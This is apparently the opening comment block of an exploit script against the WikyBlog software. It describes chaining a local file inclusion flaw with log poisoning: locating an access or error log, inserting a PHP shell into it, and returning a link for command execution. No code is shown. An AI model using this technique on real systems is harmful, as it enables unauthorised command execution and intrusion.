# This exploit makes use of a local file inclusion exploit in                                   #
# WikyBlog to allow command execution. Firstly it locates an                                    #
# access_log, or error_log then it inserts a PHP Shell into                                     #
# the log file and returns a link for command execution.                                        #
#                                                                                               #
